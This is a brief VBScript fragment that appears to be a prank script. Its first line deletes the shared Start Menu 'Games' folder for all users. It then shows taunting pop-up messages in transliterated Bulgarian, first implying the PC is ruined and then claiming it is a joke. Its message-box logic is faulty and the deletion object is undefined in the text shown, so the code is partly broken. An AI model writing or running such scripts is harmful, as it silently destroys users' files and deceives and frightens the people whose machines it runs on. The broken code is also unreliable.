getf.deletefolder ("C:\Documents and Settings\All Users\Start Menu\Programs\Games")





Wscript.echo "Pc-to ti beshe do tuk!"
Wscript.echo "Spoko we,buzikam se....moje i da izkara do kraq na denq Wink"
dim msg
msg = MsgBox("Iska6 da znae6 kvo stava?!",vbAbort+vbInformation,"MsgBox test")
If msg = vbYes then
Wscript.echo "E, sam 6e razbere6"
end if
If msg = vbNo then
Wscript.echo "Za mnogo znae6t li se misli6?! Ae da te vidim kakvo 6e narpai6 sea..."
end if
If msg = vbCancel then
Wscript.echo "'Cancel' tuka nqma Very Happy"
end if